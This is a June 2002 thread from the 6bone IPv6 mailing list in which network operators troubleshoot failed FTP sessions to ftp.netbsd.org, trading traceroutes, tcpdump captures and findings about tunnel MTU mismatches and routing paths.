     Welcome to FTP.NetBSD.ORG
     Located in Palo Alto, CA, USA                         ,        ,
                                                          /(        )`
                                             Home of      \ \___   / |
       100Mb Connectivity Courtesy of       the FREE      /- _  `-/  '
        Internet Software Consortium      MULTIPLATFORM  (/\/ \ \   /\
                                         NetBSD 1.5.2 OS / /   | `    \
                                                     \   O O   ) /    |
    +--- Currently Supported Platforms ----+          \  `-^--'`<     '
    |   DEC ALPHA, (STRONG)ARM32, ATARI,   |           \ (_.)  _  )   /
    |BEBOX, COMMODORE AMIGA & MACROSYSTEMS |             `.___/`    /
    |   DRACO, HP 300, INTEL x86, APPLE    |               `-----' /
    | MACINTOSH(68k & PPC, iMAC, G3, G4),  |  <----.     __ / __   \
    | MOTOROLA MVME68k, NEWS (68k & MIPS), |  <----|====O)))==) \) /====
    |   NeXT, PC532, PMAX, POWERPC, SUN    |  <----'    `--' `.__,' \
    |  SPARC(64), SUN 3/3X, DEC VAX, X68k  |               |        |
    +--------------------------------------+               \       /
           MORE ARE UNDER DEVELOPMENT                 ______( (_  / \_____
                                              (FL)  ,'  ,-----'   |       \
    ALL FTP TRANSFERS AND COMMANDS ARE LOGGED.      `--{__________)       \/
230-
    EXPORT NOTICE

    Please note that portions of this FTP site contain cryptographic
    software controlled under the Export Administration Regulations (EAR).

    None of this software may be downloaded or otherwise exported or
    re-exported into (or to a national or resident of) Cuba, Iraq, Libya,
    Sudan, North Korea, Iran, Syria or any other country to which the
    U.S. has embargoed goods.

    By downloading or using said software, you are agreeing to the
    foregoing and you are representing and warranting that you are not
    located in, under the control of, or a national or resident of any
    such country or on any such list.
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||49196|)
150 Opening ASCII mode data connection for '/bin/ls'.
total 10984
drwxr-xr-x  9 0    wheel       512 Dec 13  1999 .
drwxr-xr-x  9 0    wheel       512 Dec 13  1999 ..
-rw-r--r--  1 0    wheel       611 Jun  6  2000 .message
drwxr-xr-x  2 0    wheel       512 Jul 17  1999 archive
dr-xr-xr-x  2 0    wheel       512 Apr 17  2001 bin
drwxr-xr-x  2 0    wheel       512 Dec 25  1997 etc
d--x--x--x  4 0    wheel       512 Feb  4 16:25 hidden
drwx-----T  2 234  netbsd      512 Jul 16  1999 lost+found
-rw-rw-r--  1 234  netbsd  5582055 Jun 12 19:58 ls-lRA.gz
drwxr-xr-x  6 0    wheel       512 Jun 20  1999 pub
dr-xr-xr-x  2 0    wheel       512 Dec 25  1997 usr
226 Transfer complete.
ftp> bye
221-
    Data traffic for this session was 0 bytes in 0 files.
    Total traffic for this session was 3633 bytes in 1 transfer.
221 Thank you for using the FTP service on ftp6.netbsd.org.
thomas@witz:~>
----------------------------------------------------------------


Regards,
Thomas Schäfer

From rvdp@kirk.rvdp.org Fri Jun 14 00:16:45 2002
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Date: Fri, 14 Jun 2002 09:16:42 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
Cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org
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On Thu, Jun 13, 2002 at 21:00:18 -0400, Kimmo Suominen wrote:

> An MTU mismatch was identified and corrected earlier today.

Ah, thanks. Now I understand what is happening.

> Please try again now, and let me know how it goes.

It does not work yet:

bones.rvdp.org$ ftp ftp.netbsd.org
Trying 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea...
Connected to ftp.netbsd.org.

421 Service not available, remote server timed out. Connection closed
ftp>

> I can currently get a successful ftp session connected from
> 3ffe:26ff:10:8003:260:8ff:fe61:f82d, but the connection just
> times out from 3ffe:2900:b00c:2:250:4ff:feac:7981, like this
> 
>     beowulf:~> ftp ftp.netbsd.org
>     Trying 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea...
>     Connected to ftp.netbsd.org.
> 
>     421 Service not available, remote server timed out. Connection closed
> 
> The tunnel experiencing the problem is via Sprint.

Does anybody have access to ftp.netbsd.org to try to ping6 from it with
various fragment sizes?

	rvdp

From simon@limmat.switch.ch Fri Jun 14 02:14:57 2002
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>>>>> On Fri, 14 Jun 2002 09:51:07 +0900, itojun@iijlab.net said:
> 	there seems to be some config mistake within ISI (who hosts
> 	tp.netbsd.org), regarding to link MTU setting of tunnel
> 	interface.  i heard that they have changed the config so it
> 	should be better now.  (at least, it is much better for me)

Yes, but that shouldn't matter early on in the FTP session - the first
packets are all quite small.

By the way, for me it works fine from a Solaris 8 machine, although
the problem may simply have been fixed in the meantime.  I'm appending
tcpdump output from a complete session.

> 	i myself have experienced it before - Juniper sets tunnel
> 	interface MTU to infinity, and KAME uses 1280.

-- 
Simon Leinen				       simon@babar.switch.ch
SWITCH				   http://www.switch.ch/misc/leinen/

	       Computers hate being anthropomorphized.

10:30:42.770049 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: S [tcp sum ok] 3717258812:3717258812(0) win 32805 <nop,wscale 5,nop,nop,timestamp 240376687 0,nop,nop,sackOK,mss 1440> (len 44, hlim 60)
10:30:42.967472 ftp6.netbsd.org.ftp > babar.switch.ch.41522: S [tcp sum ok] 4094757220:4094757220(0) ack 3717258813 win 32768 <mss 1440,nop,wscale 0,nop,nop,timestamp 8691918 240376687> (len 40, hlim 56)
10:30:42.967502 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 1 win 32844 <nop,nop,timestamp 240376707 8691918> (len 32, hlim 60)
10:30:43.328349 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 1:63(62) ack 1 win 33120 <nop,nop,timestamp 8691919 0> [flowlabel 0xf4865] (len 94, hlim 56)
10:30:43.328382 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 63 win 32844 <nop,nop,timestamp 240376743 8691919> (len 32, hlim 60)
10:30:46.236393 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: P [tcp sum ok] 1:11(10) ack 63 win 32844 <nop,nop,timestamp 240377034 8691919> (len 42, hlim 60)
10:30:46.432911 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 63:112(49) ack 11 win 33120 <nop,nop,timestamp 8691925 240377034> [flowlabel 0xf4865] (len 81, hlim 56)
10:30:46.524524 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 112 win 32844 <nop,nop,timestamp 240377063 8691925> (len 32, hlim 60)
10:30:48.130238 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: P [tcp sum ok] 11:33(22) ack 112 win 32844 <nop,nop,timestamp 240377223 8691925> (len 54, hlim 60)
10:30:48.430036 ftp6.netbsd.org.ftp > babar.switch.ch.41522: . [tcp sum ok] ack 33 win 33120 <nop,nop,timestamp 8691929 240377223> [flowlabel 0xf4865] (len 32, hlim 56)
10:30:48.471005 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 112:118(6) ack 33 win 33120 <nop,nop,timestamp 8691929 240377223> [flowlabel 0xf4865] (len 38, hlim 56)
10:30:48.564520 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 118 win 32844 <nop,nop,timestamp 240377267 8691929> (len 32, hlim 60)
10:30:48.585777 ftp6.netbsd.org.ftp > babar.switch.ch.41522: . [tcp sum ok] 118:1326(1208) ack 33 win 33120 <nop,nop,timestamp 8691929 240377223> [flowlabel 0xf4865] (len 1240, hlim 56)
10:30:48.684532 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 1326 win 32844 <nop,nop,timestamp 240377279 8691929> (len 32, hlim 60)
10:30:48.886186 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 1326:1762(436) ack 33 win 33120 <nop,nop,timestamp 8691930 240377223> [flowlabel 0xf4865] (len 468, hlim 56)
10:30:48.984524 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 1762 win 32844 <nop,nop,timestamp 240377309 8691930> (len 32, hlim 60)
10:30:49.184436 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 1762:2491(729) ack 33 win 33120 <nop,nop,timestamp 8691930 240377223> [flowlabel 0xf4865] (len 761, hlim 56)
10:30:49.284539 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 2491 win 32844 <nop,nop,timestamp 240377339 8691930> (len 32, hlim 60)
10:30:50.446337 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: P [tcp sum ok] 33:39(6) ack 2491 win 32844 <nop,nop,timestamp 240377455 8691930> (len 38, hlim 60)
10:30:50.642775 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 2491:2539(48) ack 39 win 33120 <nop,nop,timestamp 8691933 240377455> [flowlabel 0xf4865] (len 80, hlim 56)
10:30:50.643278 babar.switch.ch.41523 > ftp6.netbsd.org.49202: S [tcp sum ok] 3014599293:3014599293(0) win 32805 <nop,wscale 5,nop,nop,timestamp 240377474 0,nop,nop,sackOK,mss 1440> (len 44, hlim 60)
10:30:50.734548 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 2539 win 32844 <nop,nop,timestamp 240377484 8691933> (len 32, hlim 60)
10:30:50.838925 ftp6.netbsd.org.49202 > babar.switch.ch.41523: S [tcp sum ok] 823416627:823416627(0) ack 3014599294 win 32768 <mss 1440,nop,wscale 0,nop,nop,timestamp 8691934 240377474> (len 40, hlim 56)
10:30:50.838956 babar.switch.ch.41523 > ftp6.netbsd.org.49202: . [tcp sum ok] ack 1 win 32844 <nop,nop,timestamp 240377494 8691934> (len 32, hlim 60)
10:30:50.839146 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: P [tcp sum ok] 39:45(6) ack 2539 win 32844 <nop,nop,timestamp 240377494 8691933> (len 38, hlim 60)
10:30:51.039516 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 2539:2594(55) ack 45 win 33120 <nop,nop,timestamp 8691934 240377494> [flowlabel 0xf4865] (len 87, hlim 56)
10:30:51.134569 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 2594 win 32844 <nop,nop,timestamp 240377524 8691934> (len 32, hlim 60)
10:30:51.385422 ftp6.netbsd.org.49202 > babar.switch.ch.41523: F [tcp sum ok] 516:516(0) ack 1 win 33120 <nop,nop,timestamp 8691935 0> [flowlabel 0xf4866] (len 32, hlim 56)
10:30:51.385451 babar.switch.ch.41523 > ftp6.netbsd.org.49202: . [tcp sum ok] ack 1 win 32844 <nop,nop,timestamp 240377549 8691934> (len 32, hlim 60)
10:30:51.386884 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 2594:2618(24) ack 45 win 33120 <nop,nop,timestamp 8691935 240377494> [flowlabel 0xf4865] (len 56, hlim 56)
10:30:51.389623 ftp6.netbsd.org.49202 > babar.switch.ch.41523: P [tcp sum ok] 1:516(515) ack 1 win 33120 <nop,nop,timestamp 8691935 0> [flowlabel 0xf4866] (len 547, hlim 56)
10:30:51.389735 babar.switch.ch.41523 > ftp6.netbsd.org.49202: . [tcp sum ok] ack 517 win 32844 <nop,nop,timestamp 240377549 8691935> (len 32, hlim 60)
10:30:51.393974 babar.switch.ch.41523 > ftp6.netbsd.org.49202: F [tcp sum ok] 1:1(0) ack 517 win 32844 <nop,nop,timestamp 240377549 8691935> (len 32, hlim 60)
10:30:51.484554 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 2618 win 32844 <nop,nop,timestamp 240377559 8691935> (len 32, hlim 60)
10:30:51.587775 ftp6.netbsd.org.49202 > babar.switch.ch.41523: . [tcp sum ok] ack 2 win 33120 <nop,nop,timestamp 8691935 240377549> [flowlabel 0xf4866] (len 32, hlim 56)
10:30:52.120699 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: P [tcp sum ok] 45:51(6) ack 2618 win 32844 <nop,nop,timestamp 240377622 8691935> (len 38, hlim 60)
10:30:52.320393 ftp6.netbsd.org.ftp > babar.switch.ch.41522: P [tcp sum ok] 2618:2624(6) ack 51 win 33120 <nop,nop,timestamp 8691937 240377622> [flowlabel 0xf4865] (len 38, hlim 56)
10:30:52.322111 ftp6.netbsd.org.ftp > babar.switch.ch.41522: FP [tcp sum ok] 2624:2810(186) ack 51 win 33120 <nop,nop,timestamp 8691937 240377622> [flowlabel 0xf4865] (len 218, hlim 56)
10:30:52.322233 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: . [tcp sum ok] ack 2811 win 32844 <nop,nop,timestamp 240377642 8691937> (len 32, hlim 60)
10:30:52.322846 babar.switch.ch.41522 > ftp6.netbsd.org.ftp: F [tcp sum ok] 51:51(0) ack 2811 win 32844 <nop,nop,timestamp 240377642 8691937> (len 32, hlim 60)
10:30:52.518550 ftp6.netbsd.org.ftp > babar.switch.ch.41522: . [tcp sum ok] ack 52 win 33120 <nop,nop,timestamp 8691937 240377642> [flowlabel 0xf4865] (len 32, hlim 56)

From pim@ipng.nl Fri Jun 14 11:13:37 2002
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Date: Fri, 14 Jun 2002 20:13:31 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Stephen Stuart <stuart@tech.org>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org
Message-ID: <20020614181331.GC2270@bfib.colo.bit.nl>
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On Thu, Jun 13, 2002 at 08:51:12PM -0700, Stephen Stuart wrote:
| If anyone is still having problems with TCP sessions to/from
| ftp.netbsd.org, please send me traceroutes.

The MTU and tunnel setttings are unrelated. A TCP handshake uses
Syn/SynAck/Ack packets without payload so these should be around 50
bytes.

Stephen, I still cannot reach the site, from various Dutch ISPs, such as
SURFnet (AS1103), Intouch (AS8954), BIT (AS12859) and Concepts
(AS12871).

A typical traceroute for AS12859 would be:
[HoG] /hog.mnt/vol2/rsync/bfib/www$ traceroute6 ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)
	from 2001:7b8:3:17:2a0:24ff:fe56:6a60, 30 hops max, 12 byte packets
1  dapje.ipv6.network.bit.nl  1.169 ms  1.117 ms  1 ms
2  c7206.sara.ams-ix.ipv6.network.bit.nl  10.336 ms  9.678 ms 10.765 ms
3  ams-ix.sara.xs4all.net  10.653 ms  13.089 ms  11.801 ms
4  Gi1-2.BR1.Amsterdam1.surf.net  13.195 ms *  10.898 ms
5  nikhef.ams-ix.ipv6.intouch.net  9.658 ms  9.855 ms  9.633 ms
6  3ffe:800::fffb:0:0:5  168.34 ms  169.399 ms *
7  3ffe:800::fff9:0:0:2  343.838 ms  278.082 ms  189.127 ms
8  3ffe:8050:ffff::fffd  181.536 ms  178.031 ms  179.648 ms
9  ftp6.netbsd.org  178.405 ms  182.943 ms  179.327 ms

And directly from AS8954 (intouch.net):
pim@tunnelserver:~$ traceroute6 ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)
	from 2001:6e0::250:4ff:fe4a:7708, 30 hops max, 16 byte packets
1  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  0.522 ms  0.423 ms  0.389 ms
2  3ffe:800::fffb:0:0:5 (3ffe:800::fffb:0:0:5)  159.983 ms * 158.36 ms
3  3ffe:800::fff9:0:0:2 (3ffe:800::fff9:0:0:2)  167.842 ms 167.723 ms  167.985 ms
4  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  169.695 ms 169.222 ms  169.645 ms
5  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea) 169.245 ms  169.039 ms  169.31 ms

As Ronald has also witnessed, I see Syn, then SynAck, then I send Ack
and the line goes dead (does this Ack ever reach the ftp6 server?).

It also raises another point, which I find quite odd. I will mail about
this later.

groet,
Pim
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From pim@ipng.nl Fri Jun 14 11:17:28 2002
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Date: Fri, 14 Jun 2002 20:17:24 +0200
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hi,

When I traced to the NetBSD site just now, I saw that my path to them
is kind of odd. 

At AMS-IX, several parties peer with each other, they normally would
send a full view to each other on the native IPv6 peering point. Now I
wonder why it is that a packet from my network to NetBSD, goes over
several of these parties:

 2 c7206.sara.ams-ix.ipv6.network.bit.nl, to
 3 ams-ix.sara.xs4all.net, to
 4 Gi1-2.BR1.Amsterdam1.surf.net, to
 5 nikhef.ams-ix.ipv6.intouch.net, to
<the tunnel to the US where NetBSD is hanging under somewhere>

The AS path for this would be <me> AS12859 AS3265 AS1103 AS8954 <bla>

And I am dead sure that AS12859 peers with AS8954 directly, and they
both exchange full views. The localpref on these routes is 100 in both
cases. Anybody want to guess why this transits AS3265 and AS1103
nevertheless ? :)

groet,
Pim

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From stuart@tech.org Fri Jun 14 12:17:25 2002
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To: Pim van Pelt <pim@ipng.nl>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org 
In-reply-to: Your message of "Fri, 14 Jun 2002 20:13:31 +0200."
             <20020614181331.GC2270@bfib.colo.bit.nl> 
Date: Fri, 14 Jun 2002 12:17:13 -0700
From: Stephen Stuart <stuart@tech.org>
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> On Thu, Jun 13, 2002 at 08:51:12PM -0700, Stephen Stuart wrote:
> | If anyone is still having problems with TCP sessions to/from
> | ftp.netbsd.org, please send me traceroutes.
> 
> The MTU and tunnel setttings are unrelated. A TCP handshake uses
> Syn/SynAck/Ack packets without payload so these should be around 50
> bytes.

I understand that.

ISC receives routes from two sources: peers on the PAIX Palo Alto
switch fabric, and a tunnel to ISI. I would like to determine if the
people having problems share some property relating to that, like
"people who still report problems all show the ISI tunnel in their
traceroute."

> Stephen, I still cannot reach the site, from various Dutch ISPs, such as
> SURFnet (AS1103), Intouch (AS8954), BIT (AS12859) and Concepts
> (AS12871).

[traceroutes]

The traceroutes you sent were helpful, as they all show the ISI tunnel
in the traceroute.

The problem showed up as the result of two variables in our network
changing: our Palo Alto router changed from Cisco to Juniper, and our
Redwood City router changed from Cisco to FreeBSD/zebra (this is not
to be taken as a reflection on Cisco, the change was necessary for
other reasons).

To further comment on your observation regarding TCP - yes, the
handshake is small, and in an environment where MTU mismatch would
cause problems with larger packet sizes, a TCP session would tend to
start and then hang, as the window size ramps up and datagram sizes
approach interface MTU size. As was correctly noted by itojun, when
the *interior* tunnel MTU sizes did not match, everyone suffered
(including the iBGP session between the routers); when the MTUs were
aligned in the manner that itojun noted (the Juniper was brought down
to FreeBSD's setting) connectivity for some improved.

Remaining problems *seem* to have the ISI tunnel in common. Interface
MTU size on the tunnel interface toward the ISI router has now been
matched, just as with the interior tunnel interface.

> As Ronald has also witnessed, I see Syn, then SynAck, then I send Ack
> and the line goes dead (does this Ack ever reach the ftp6 server?).

That is an excellent question. I am not a member of the NetBSD
development team, and I do not have access to their box to determine
conclusively whether the ack really gets there. I can run tcpdump on
the router immediately upstream to see if it is attempting to deliver
it. If someone still having issues would like to coordinate a
debugging session to look at that, please contact me privately.

Stephen

From stuart@tech.org Fri Jun 14 12:24:18 2002
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To: "Jeroen Massar" <jeroen@unfix.org>
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Subject: Re: [6bone] problem with ftp.netbsd.org 
In-reply-to: Your message of "Fri, 14 Jun 2002 04:58:11 +0200."
             <001b01c2134f$523033b0$420d640a@unfix.org> 
Date: Fri, 14 Jun 2002 12:24:09 -0700
From: Stephen Stuart <stuart@tech.org>
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> Let's try again from purgatory.unfix.org:

ftp.netbsd.org's path to purgatory.unfix.org traverses the ISC-ISI
tunnel mentioned in my recent mail. 

Stephen

From kim@tac.nyc.ny.us Fri Jun 14 12:49:18 2002
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Subject: Re: [6bone] problem with ftp.netbsd.org
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The problem still exists for me.

Below are the traceroutes for each direction and tcpdumps of an attempt.
The tcpdump was a bit odd -- I kept seeing packets from beowulf to the
ftp server even after I killed the ftp process (and I didn't see any
other ftp processes on the machine).

+ Kim


beowulf:~> ftp ftp.netbsd.org
Trying 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea...
Connected to ftp.netbsd.org.

421 Service not available, remote server timed out. Connection closed
ftp> ^D


beowulf:~> traceroute6 -q1 -w2 ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea) from 3ffe:2900:b00c:2:250:4ff:feac:7981, 30 hops max, 12 byte packets
 1  dit  0.57 ms
 2  sl-bb1v6-rly-t-48.sprintv6.net  24.104 ms
 3  2001:440:1239:1007::2  79.704 ms
 4  2001:440:1239:1007::2  79.998 ms
 5  3ffe:800::fff9:0:0:2  102.131 ms
 6  3ffe:800::fff9:0:0:2  100.058 ms
 7  ftp6.netbsd.org  103.044 ms


nbftp:~> traceroute6 -q1 -w2 beowulf.gw.com
traceroute6 to beowulf.gw.com (3ffe:2900:b00c:2:250:4ff:feac:7981) from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, 30 hops max, 12 byte packets
 1  3ffe:8050:201:1860:200:f8ff:fe02:9a03  0.554 ms
 2  3ffe:8050:ffff::fffe  1.624 ms
 3  3ffe:800::fff9:0:0:1  11.548 ms
 4  2001:478:ffff::a  21.554 ms
 5  2001:440:1239:1007::1  22.501 ms
 6  3ffe:2900:b:7::2  103.124 ms
 7  3ffe:2900:b:7::2  101.241 ms
 8  beowulf.gw.com  102.321 ms


beowulf:~# tcpdump -i ex0 ip6 host ftp.netbsd.org
tcpdump: listening on ex0
15:43:00.489420 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: S 3455727996:3455727996(0) win 16384 <mss 33160,nop,wscale 0,nop,nop,timestamp 0 0> [flowlabel 0x3ef7f]
15:43:00.590674 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: S 3623584296:3623584296(0) ack 3455727997 win 32768 <mss 1440,nop,wscale 0,nop,nop,timestamp 8772594 0>
15:43:00.590852 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: . ack 1 win 16384 <nop,nop,timestamp 0 8772594> [flowlabel 0x3ef7f]
15:43:12.350259 beowulf.gw.com.49385 > ftp6.netbsd.org.ftp: F 450414700:450414700(0) ack 1762195173 win 16384 <nop,nop,timestamp 630 8771987> [flowlabel 0x3ef7d]
15:44:00.602554 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 120 8772594> [flowlabel 0x3ef7f]
15:44:01.602081 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 122 8772594> [flowlabel 0x3ef7f]
15:44:03.602073 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 126 8772594> [flowlabel 0x3ef7f]
15:44:07.602303 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 134 8772594> [flowlabel 0x3ef7f]
15:44:15.602535 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 150 8772594> [flowlabel 0x3ef7f]
15:44:16.352526 beowulf.gw.com.49385 > ftp6.netbsd.org.ftp: F 0:0(0) ack 1 win 16384 <nop,nop,timestamp 758 8771987> [flowlabel 0x3ef7d]
15:44:31.603116 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 182 8772594> [flowlabel 0x3ef7f]
15:45:03.604328 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 246 8772594> [flowlabel 0x3ef7f]
^C
1085 packets received by filter
0 packets dropped by kernel


nbftp:~# tcpdump -i fxp0 ip6 host beowulf.gw.com
tcpdump: listening on fxp0
12:43:00.374725 ftp6.netbsd.org.ftp > beowulf.gw.com.49385: FP 1762195173:1762195272(99) ack 450414701 win 33120 <nop,nop,timestamp 8772593 120> [flowlabel 0xf496c]
12:43:00.534959 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: S 3455727996:3455727996(0) win 16384 <mss 33160,nop,wscale 0,nop,nop,timestamp 0 0> [flowlabel 0x3ef7f]
12:43:00.535158 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: S 3623584296:3623584296(0) ack 3455727997 win 32768 <mss 1440,nop,wscale 0,nop,nop,timestamp 8772594 0>
12:43:00.634521 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: . ack 1 win 16384 <nop,nop,timestamp 0 8772594> [flowlabel 0x3ef7f]
12:43:00.657402 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: P 1:63(62) ack 1 win 33120 <nop,nop,timestamp 8772594 0> [flowlabel 0xf496d]
12:43:01.374715 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: P 1:63(62) ack 1 win 33120 <nop,nop,timestamp 8772595 0> [flowlabel 0xf496d]
12:43:03.374581 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: P 1:63(62) ack 1 win 33120 <nop,nop,timestamp 8772599 0> [flowlabel 0xf496d]
12:43:07.374813 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: P 1:63(62) ack 1 win 33120 <nop,nop,timestamp 8772607 0> [flowlabel 0xf496d]
12:43:12.394908 beowulf.gw.com.49385 > ftp6.netbsd.org.ftp: F 0:0(0) ack 0 win 16384 <nop,nop,timestamp 630 8771987> [flowlabel 0x3ef7d]
12:43:12.394995 ftp6.netbsd.org.ftp > beowulf.gw.com.49385: . ack 1 win 33120 <nop,nop,timestamp 8772618 120> [flowlabel 0xf496c]
12:43:15.374745 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: P 1:63(62) ack 1 win 33120 <nop,nop,timestamp 8772623 0> [flowlabel 0xf496d]
12:43:31.374797 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: P 1:63(62) ack 1 win 33120 <nop,nop,timestamp 8772655 0> [flowlabel 0xf496d]
12:44:00.646781 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 120 8772594> [flowlabel 0x3ef7f]
12:44:00.646872 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: . ack 2 win 33120 <nop,nop,timestamp 8772714 120> [flowlabel 0xf496d]
12:44:00.647275 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: FP 63:100(37) ack 2 win 33120 <nop,nop,timestamp 8772714 120> [flowlabel 0xf496d]
12:44:01.646876 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 122 8772594> [flowlabel 0x3ef7f]
12:44:01.646966 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: . ack 2 win 33120 <nop,nop,timestamp 8772716 120> [flowlabel 0xf496d]
12:44:03.374476 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: FP 1:100(99) ack 2 win 33120 <nop,nop,timestamp 8772719 120> [flowlabel 0xf496d]
12:44:03.646448 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 126 8772594> [flowlabel 0x3ef7f]
12:44:03.646523 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: . ack 2 win 33120 <nop,nop,timestamp 8772720 120> [flowlabel 0xf496d]
12:44:04.374417 ftp6.netbsd.org.ftp > beowulf.gw.com.49385: FP 0:99(99) ack 1 win 33120 <nop,nop,timestamp 8772721 120> [flowlabel 0xf496c]
12:44:07.647571 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 134 8772594> [flowlabel 0x3ef7f]
12:44:07.647649 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: . ack 2 win 33120 <nop,nop,timestamp 8772728 120> [flowlabel 0xf496d]
12:44:15.646881 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 150 8772594> [flowlabel 0x3ef7f]
12:44:15.646961 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: FP 1:100(99) ack 2 win 33120 <nop,nop,timestamp 8772744 120> [flowlabel 0xf496d]
12:44:16.396892 beowulf.gw.com.49385 > ftp6.netbsd.org.ftp: F 0:0(0) ack 0 win 16384 <nop,nop,timestamp 758 8771987> [flowlabel 0x3ef7d]
12:44:16.396983 ftp6.netbsd.org.ftp > beowulf.gw.com.49385: . ack 1 win 33120 <nop,nop,timestamp 8772746 120> [flowlabel 0xf496c]
12:44:31.648395 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 182 8772594> [flowlabel 0x3ef7f]
12:44:31.648548 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: . ack 2 win 33120 <nop,nop,timestamp 8772776 120> [flowlabel 0xf496d]
12:45:03.648837 beowulf.gw.com.49386 > ftp6.netbsd.org.ftp: F 1:1(0) ack 1 win 16384 <nop,nop,timestamp 246 8772594> [flowlabel 0x3ef7f]
12:45:03.648911 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: . ack 2 win 33120 <nop,nop,timestamp 8772840 120> [flowlabel 0xf496d]
12:45:08.373946 ftp6.netbsd.org.ftp > beowulf.gw.com.49385: FP 0:99(99) ack 1 win 33120 <nop,nop,timestamp 8772849 120> [flowlabel 0xf496c]
12:45:19.373862 ftp6.netbsd.org.ftp > beowulf.gw.com.49386: FP 1:100(99) ack 2 win 33120 <nop,nop,timestamp 8772871 120> [flowlabel 0xf496d]
12:45:20.399057 beowulf.gw.com.49385 > ftp6.netbsd.org.ftp: F 0:0(0) ack 0 win 16384 <nop,nop,timestamp 886 8771987> [flowlabel 0x3ef7d]
